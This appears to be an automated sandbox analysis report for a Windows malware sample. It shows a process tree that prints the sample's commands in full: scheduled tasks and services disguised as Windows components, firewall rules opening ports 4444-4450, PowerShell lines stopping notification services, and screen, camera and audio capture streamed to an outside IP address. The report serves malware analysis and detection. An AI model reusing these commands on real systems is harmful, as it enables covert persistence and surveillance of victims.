Overview

overview

10

Static

static

3

2026-09-13...ar.exe

windows10-2004-x64

10

2026-09-13...ar.exe

windows11-ltsc_2024-x64

10

Analysis

  • max time kernel
    149s
  • max time network
    152s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260911-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    13/09/2026, 08:09

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    2026-09-13_fb76b0deed7bd2ad16b8617c95d5bd97_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
  • Size 993KB
  • Sample260913-j2e5aael2w
  • SHA256 819e18fc8fe7ef3fd7fd2d717c127d1757b97dd209353e7aa98914a09cb2718c
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasionexecutionpersistenceprivilege_escalationspywaretrojan

Malware Config

Signatures

  • UAC bypass 3 TTPs 22 IoCs
    defense_evasiontrojan
  • Downloads MZ/PE file 5 IoCs
  • Modifies Windows Firewall 2 TTPs 10 IoCs
    defense_evasion
  • Server Software Component: Terminal Services DLL 1 TTPs 3 IoCs
    persistence
  • Sets service image path in registry 3 TTPs 3 IoCs

    This determines the executable launched when a service starts. It can be used to establish persistence.

    persistence
  • Creates a file in the Startup directory 1 TTPs 2 IoCs

    A file was written to a Windows startup folder. Files in these directories are executed automatically when a user logs on or an application initializes.

    persistenceprivilege_escalation
  • Creates new service(s) 2 TTPs
    persistenceexecution
  • Executes dropped EXE 20 IoCs
  • Loads dropped DLL 1 IoCs
  • Modifies service settings 1 TTPs

    Alters the configuration of existing services.

    defense_evasion
  • Adds Run key to start application 2 TTPs 7 IoCs
    persistence
  • Checks whether UAC is enabled 1 TTPs 11 IoCs
    defense_evasiontrojan
  • Drops file in System32 directory 64 IoCs
  • Drops file in Windows directory 16 IoCs
  • Launches sc.exe 12 IoCs

    Sc.exe is a Windows utlilty to control services on the system.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

    Using powershell.exe command.

    execution
  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 30 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • Executes a command shell one-liner 1 TTPs 14 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

    execution
  • Checks processor information in registry 2 TTPs 6 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Modifies data under HKEY_USERS 64 IoCs
  • Modifies registry class 6 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
    defense_evasionspywaretrojan
  • Scheduled Task/Job: Scheduled Task 1 TTPs 10 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

    persistenceexecution
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 19 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • System policy modification 1 TTPs 22 IoCs
    defense_evasion

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-09-13_fb76b0deed7bd2ad16b8617c95d5bd97_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-09-13_fb76b0deed7bd2ad16b8617c95d5bd97_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe"
    1⤵
    • UAC bypass
    • Downloads MZ/PE file
    • Server Software Component: Terminal Services DLL
    • Sets service image path in registry
    • Creates a file in the Startup directory
    • Adds Run key to start application
    • Checks whether UAC is enabled
    • Drops file in System32 directory
    • Checks processor information in registry
    • Modifies system certificate store
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2244
    • C:\Users\Admin\AppData\Local\Temp\2026-09-13_fb76b0deed7bd2ad16b8617c95d5bd97_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-09-13_fb76b0deed7bd2ad16b8617c95d5bd97_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe" -screen 161.104.47.223 4445 Admin-Ghepdhhe 5 50
      2⤵
      • Executes dropped EXE
      PID:5824
    • C:\Users\Admin\AppData\Local\Temp\2026-09-13_fb76b0deed7bd2ad16b8617c95d5bd97_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-09-13_fb76b0deed7bd2ad16b8617c95d5bd97_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe" -camera 161.104.47.223 4447 Admin-Ghepdhhe 0 15 75
      2⤵
      • Executes dropped EXE
      • Modifies registry class
      PID:2468
    • C:\Users\Admin\AppData\Local\Temp\2026-09-13_fb76b0deed7bd2ad16b8617c95d5bd97_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe
      "C:\Users\Admin\AppData\Local\Temp\2026-09-13_fb76b0deed7bd2ad16b8617c95d5bd97_cobalt-strike_glassworm_icedid_luca-stealer_njrat_satacom_stealc_vidar.exe" -audio 161.104.47.223 4446 Admin-Ghepdhhe 1
      2⤵
      • Executes dropped EXE
      • Suspicious use of AdjustPrivilegeToken
      PID:3140
  • C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
    C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
    1⤵
    • UAC bypass
    • Executes dropped EXE
    • Checks whether UAC is enabled
    • System policy modification
    PID:4780
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k WindowsSecurityHealth -s WindowsSecurityHealth
    1⤵
    • Downloads MZ/PE file
    • Loads dropped DLL
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:2788
    • C:\Users\Admin\AppData\Roaming\WindowsInputService\updater.exe
      C:\Users\Admin\AppData\Roaming\WindowsInputService\updater.exe
      2⤵
      • Downloads MZ/PE file
      • Executes dropped EXE
      • Drops file in System32 directory
      • Modifies data under HKEY_USERS
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:4336
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn "WindowsUpdateService" /tr "C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\updater.exe" /sc ONLOGON /rl HIGHEST /f 2>nul
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:3668
      • C:\Windows\system32\schtasks.exe
        schtasks /create /tn "WindowsUpdateService_boot" /tr "C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\updater.exe" /sc ONSTART /rl HIGHEST /f 2>nul
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:5412
      • C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
        "C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe"
        3⤵
        • UAC bypass
        • Executes dropped EXE
        • Checks whether UAC is enabled
        • System policy modification
        PID:1872
      • C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe
        "C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe"
        3⤵
        • UAC bypass
        • Downloads MZ/PE file
        • Server Software Component: Terminal Services DLL
        • Sets service image path in registry
        • Executes dropped EXE
        • Adds Run key to start application
        • Checks whether UAC is enabled
        • Drops file in System32 directory
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        • System policy modification
        PID:5240
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -Command "Stop-Service WpnUserService_* -Force" >nul 2>&1
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:2932
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Stop-Service WpnUserService_* -Force"
            5⤵
            • Drops file in System32 directory
            • Drops file in Windows directory
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:2408
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c start /b powershell -Command "Start-Sleep -Seconds 300; Start-Service WpnUserService_*" >nul 2>&1
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5236
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Start-Sleep -Seconds 300; Start-Service WpnUserService_*"
            5⤵
            • Drops file in Windows directory
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:3784
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "WindowsHostService" /tr "C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe" /sc ONLOGON /rl HIGHEST /f 2>nul
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1352
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "WindowsHostService_boot" /tr "C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe" /sc ONSTART /rl HIGHEST /f 2>nul
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4464
        • C:\Windows\system32\sc.exe
          sc create "WindowsHostService" binPath= "C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe" start= auto 2>nul
          4⤵
          • Launches sc.exe
          PID:5128
        • C:\Windows\system32\sc.exe
          sc start "WindowsHostService" 2>nul
          4⤵
          • Launches sc.exe
          PID:1928
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c sc create WindowsSecurityHealth binPath= "C:\Windows\System32\svchost.exe -k WindowsSecurityHealth" type= share start= auto
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4244
          • C:\Windows\System32\sc.exe
            sc create WindowsSecurityHealth binPath= "C:\Windows\System32\svchost.exe -k WindowsSecurityHealth" type= share start= auto
            5⤵
            • Launches sc.exe
            PID:5036
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c sc start WindowsSecurityHealth
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5972
          • C:\Windows\System32\sc.exe
            sc start WindowsSecurityHealth
            5⤵
            • Launches sc.exe
            PID:2820
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="WindowsHostService_In" dir=in action=allow protocol=TCP localport=4444-4450 >nul 2>&1
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:4948
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="WindowsHostService_Out" dir=out action=allow program="C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe" >nul 2>&1
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:2300
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "WindowsHostService" /tr "C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe" /sc ONLOGON /rl HIGHEST /f 2>nul
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:4640
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "WindowsHostService_boot" /tr "C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe" /sc ONSTART /rl HIGHEST /f 2>nul
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1092
        • C:\Windows\system32\sc.exe
          sc create "WindowsHostService" binPath= "C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe" start= auto 2>nul
          4⤵
          • Launches sc.exe
          PID:2076
        • C:\Windows\system32\sc.exe
          sc start "WindowsHostService" 2>nul
          4⤵
          • Launches sc.exe
          PID:5328
        • C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe
          "C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe" -screen 161.104.47.223 4445 SYSTEM-Ghepdhhe 5 50
          4⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          PID:2896
        • C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe
          "C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe" -camera 161.104.47.223 4447 SYSTEM-Ghepdhhe 0 15 75
          4⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Modifies data under HKEY_USERS
          • Modifies registry class
          PID:2280
        • C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe
          "C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe" -audio 161.104.47.223 4446 SYSTEM-Ghepdhhe 1
          4⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Suspicious use of AdjustPrivilegeToken
          PID:4648
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="WindowsHostService_In" dir=in action=allow protocol=TCP localport=4444-4450 >nul 2>&1
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:3520
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="WindowsHostService_Out" dir=out action=allow program="C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe" >nul 2>&1
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:2416
      • C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe
        "C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe"
        3⤵
        • UAC bypass
        • Downloads MZ/PE file
        • Server Software Component: Terminal Services DLL
        • Sets service image path in registry
        • Executes dropped EXE
        • Adds Run key to start application
        • Checks whether UAC is enabled
        • Drops file in System32 directory
        • Checks processor information in registry
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        • System policy modification
        PID:4452
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c powershell -Command "Stop-Service WpnUserService_* -Force" >nul 2>&1
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:548
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Stop-Service WpnUserService_* -Force"
            5⤵
            • Drops file in System32 directory
            • Drops file in Windows directory
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:5568
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c start /b powershell -Command "Start-Sleep -Seconds 300; Start-Service WpnUserService_*" >nul 2>&1
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5860
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            powershell -Command "Start-Sleep -Seconds 300; Start-Service WpnUserService_*"
            5⤵
            • Drops file in Windows directory
            • Command and Scripting Interpreter: PowerShell
            • Modifies data under HKEY_USERS
            • Suspicious behavior: EnumeratesProcesses
            • Suspicious use of AdjustPrivilegeToken
            PID:4700
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "WindowsHostService" /tr "C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe" /sc ONLOGON /rl HIGHEST /f 2>nul
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5404
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "WindowsHostService_boot" /tr "C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe" /sc ONSTART /rl HIGHEST /f 2>nul
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:5820
        • C:\Windows\system32\sc.exe
          sc create "WindowsHostService" binPath= "C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe" start= auto 2>nul
          4⤵
          • Launches sc.exe
          PID:2128
        • C:\Windows\system32\sc.exe
          sc start "WindowsHostService" 2>nul
          4⤵
          • Launches sc.exe
          PID:5500
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c sc create WindowsSecurityHealth binPath= "C:\Windows\System32\svchost.exe -k WindowsSecurityHealth" type= share start= auto
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:4664
          • C:\Windows\System32\sc.exe
            sc create WindowsSecurityHealth binPath= "C:\Windows\System32\svchost.exe -k WindowsSecurityHealth" type= share start= auto
            5⤵
            • Launches sc.exe
            PID:5200
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c sc start WindowsSecurityHealth
          4⤵
          • Executes a command shell one-liner
          • Suspicious use of WriteProcessMemory
          PID:5928
          • C:\Windows\System32\sc.exe
            sc start WindowsSecurityHealth
            5⤵
            • Launches sc.exe
            PID:1412
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="WindowsHostService_In" dir=in action=allow protocol=TCP localport=4444-4450 >nul 2>&1
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:1764
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="WindowsHostService_Out" dir=out action=allow program="C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe" >nul 2>&1
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:4128
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "WindowsHostService" /tr "C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe" /sc ONLOGON /rl HIGHEST /f 2>nul
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1512
        • C:\Windows\system32\schtasks.exe
          schtasks /create /tn "WindowsHostService_boot" /tr "C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe" /sc ONSTART /rl HIGHEST /f 2>nul
          4⤵
          • Scheduled Task/Job: Scheduled Task
          PID:1896
        • C:\Windows\system32\sc.exe
          sc create "WindowsHostService" binPath= "C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe" start= auto 2>nul
          4⤵
          • Launches sc.exe
          PID:4904
        • C:\Windows\system32\sc.exe
          sc start "WindowsHostService" 2>nul
          4⤵
          • Launches sc.exe
          PID:3880
        • C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe
          "C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe" -screen 161.104.47.223 4445 SYSTEM-Ghepdhhe 5 50
          4⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          PID:3288
        • C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe
          "C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe" -camera 161.104.47.223 4447 SYSTEM-Ghepdhhe 0 15 75
          4⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Modifies registry class
          PID:4656
        • C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe
          "C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe" -audio 161.104.47.223 4446 SYSTEM-Ghepdhhe 1
          4⤵
          • Executes dropped EXE
          • Drops file in System32 directory
          • Suspicious use of AdjustPrivilegeToken
          PID:1612
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="WindowsHostService_In" dir=in action=allow protocol=TCP localport=4444-4450 >nul 2>&1
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:5932
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="WindowsHostService_Out" dir=out action=allow program="C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe" >nul 2>&1
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:1716
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="WindowsHostService_In" dir=in action=allow protocol=TCP localport=4444-4450 >nul 2>&1
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:4584
        • C:\Windows\system32\netsh.exe
          netsh advfirewall firewall add rule name="WindowsHostService_Out" dir=out action=allow program="C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe" >nul 2>&1
          4⤵
          • Modifies Windows Firewall
          • Event Triggered Execution: Netsh Helper DLL
          PID:908
  • C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
    C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
    1⤵
    • UAC bypass
    • Executes dropped EXE
    • Checks whether UAC is enabled
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:1100
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "Stop-Service WpnUserService_* -Force" >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2460
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Stop-Service WpnUserService_* -Force"
        3⤵
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5224
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /b powershell -Command "Start-Sleep -Seconds 300; Start-Service WpnUserService_*" >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:1224
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Start-Sleep -Seconds 300; Start-Service WpnUserService_*"
        3⤵
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5980
  • C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe
    C:\Windows\system32\config\systemprofile\AppData\Roaming\WindowsInputService\inputsvc.exe
    1⤵
    • UAC bypass
    • Executes dropped EXE
    • Checks whether UAC is enabled
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:2764
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "Stop-Service WpnUserService_* -Force" >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4812
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Stop-Service WpnUserService_* -Force"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4600
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /b powershell -Command "Start-Sleep -Seconds 300; Start-Service WpnUserService_*" >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:6016
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Start-Sleep -Seconds 300; Start-Service WpnUserService_*"
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3944
  • C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
    C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
    1⤵
    • UAC bypass
    • Executes dropped EXE
    • Checks whether UAC is enabled
    • Drops file in System32 directory
    • Suspicious use of WriteProcessMemory
    • System policy modification
    PID:6048
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c powershell -Command "Stop-Service WpnUserService_* -Force" >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:2984
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Stop-Service WpnUserService_* -Force"
        3⤵
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:3156
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /c start /b powershell -Command "Start-Sleep -Seconds 300; Start-Service WpnUserService_*" >nul 2>&1
      2⤵
      • Executes a command shell one-liner
      • Suspicious use of WriteProcessMemory
      PID:4708
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -Command "Start-Sleep -Seconds 300; Start-Service WpnUserService_*"
        3⤵
        • Drops file in System32 directory
        • Drops file in Windows directory
        • Command and Scripting Interpreter: PowerShell
        • Modifies data under HKEY_USERS
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:5592
  • C:\Windows\system32\AUDIODG.EXE
    C:\Windows\system32\AUDIODG.EXE 0x00000000000004E8 0x00000000000004B8
    1⤵
    • Suspicious use of AdjustPrivilegeToken
    PID:1744
  • C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
    C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
    1⤵
    • UAC bypass
    • Executes dropped EXE
    • Checks whether UAC is enabled
    • System policy modification
    PID:5820
  • C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
    C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
    1⤵
    • UAC bypass
    • Executes dropped EXE
    • Checks whether UAC is enabled
    • System policy modification
    PID:980
  • C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
    C:\Users\Admin\AppData\Roaming\WindowsInputService\inputsvc.exe
    1⤵
    • UAC bypass
    • Executes dropped EXE
    • Checks whether UAC is enabled
    • System policy modification
    PID:4856

Network

        MITRE ATT&CK Enterprise v16

        Reconnaissance

        Resource Development

        Initial Access

        Execution

        Command and Scripting Interpreter

        2
        T1059

        PowerShell

        1
        T1059.001

        Windows Command Shell

        1
        T1059.003

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        System Services

        1
        T1569

        Service Execution

        1
        T1569.002

        Persistence

        Boot or Logon Autostart Execution

        3
        T1547

        Registry Run Keys / Startup Folder

        3
        T1547.001

        Create or Modify System Process

        4
        T1543

        Windows Service

        4
        T1543.003

        Event Triggered Execution

        1
        T1546

        Netsh Helper DLL

        1
        T1546.007

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        Server Software Component

        1
        T1505

        Terminal Services DLL

        1
        T1505.005

        Privilege Escalation

        Abuse Elevation Control Mechanism

        1
        T1548

        Bypass User Account Control

        1
        T1548.002

        Boot or Logon Autostart Execution

        3
        T1547

        Registry Run Keys / Startup Folder

        3
        T1547.001

        Create or Modify System Process

        4
        T1543

        Windows Service

        4
        T1543.003

        Event Triggered Execution

        1
        T1546

        Netsh Helper DLL

        1
        T1546.007

        Scheduled Task/Job

        1
        T1053

        Scheduled Task

        1
        T1053.005

        Defense Evasion

        Abuse Elevation Control Mechanism

        1
        T1548

        Bypass User Account Control

        1
        T1548.002

        Impair Defenses

        2
        T1562

        Disable or Modify System Firewall

        1
        T1562.004

        Disable or Modify Tools

        1
        T1562.001

        Modify Registry

        5
        T1112

        Subvert Trust Controls

        1
        T1553

        Install Root Certificate

        1
        T1553.004

        Credential Access

        Discovery

        Query Registry

        1
        T1012

        System Information Discovery

        2
        T1082

        Lateral Movement

        Collection

        Command and Control

        Exfiltration

        Impact

        Replay Monitor

        Loading Replay Monitor...

        Downloads

        msedgewebview2_update.exe
        • Path C:\Users\Admin\AppData\Local\Temp\msedgewebview2_update.exe
        • Size 874KB
        • SHA256 ad0f968e9239dbe2c8b0e5d52ece6bd7b73fa61cbf7c866df6420ec2afee02e7
        • MD5 SHA1 SHA512 SSDEEP TLSH
        Submit Download

        host_log.txt
        • Path C:\Users\Admin\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 129B
        • SHA256 4b1d57e4e11152869f2525d8679da79b943238c4d19bd22e3ab2203b1f8fe4fa
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Users\Admin\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 1KB
        • SHA256 5c669ea7d69037de9ad9f4ed48de610b4aecad141fdb8e26cccb9e8b472c83d4
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Users\Admin\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 1KB
        • SHA256 fe5b00d57f7f741cbaadca35d35973f892b24b77b16d92f8aacded0fcd277ff7
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
        • Path C:\Users\Admin\AppData\Roaming\WindowsInputService\host_log.txt
        • Size 1KB
        • SHA256 20e4c7a52682c4a883da580a832b16237bfabfc08217a7bfbe5cf9c0576ffb47
        • MD5 SHA1 SHA512 TLSH
        Submit Download

        host_log.txt
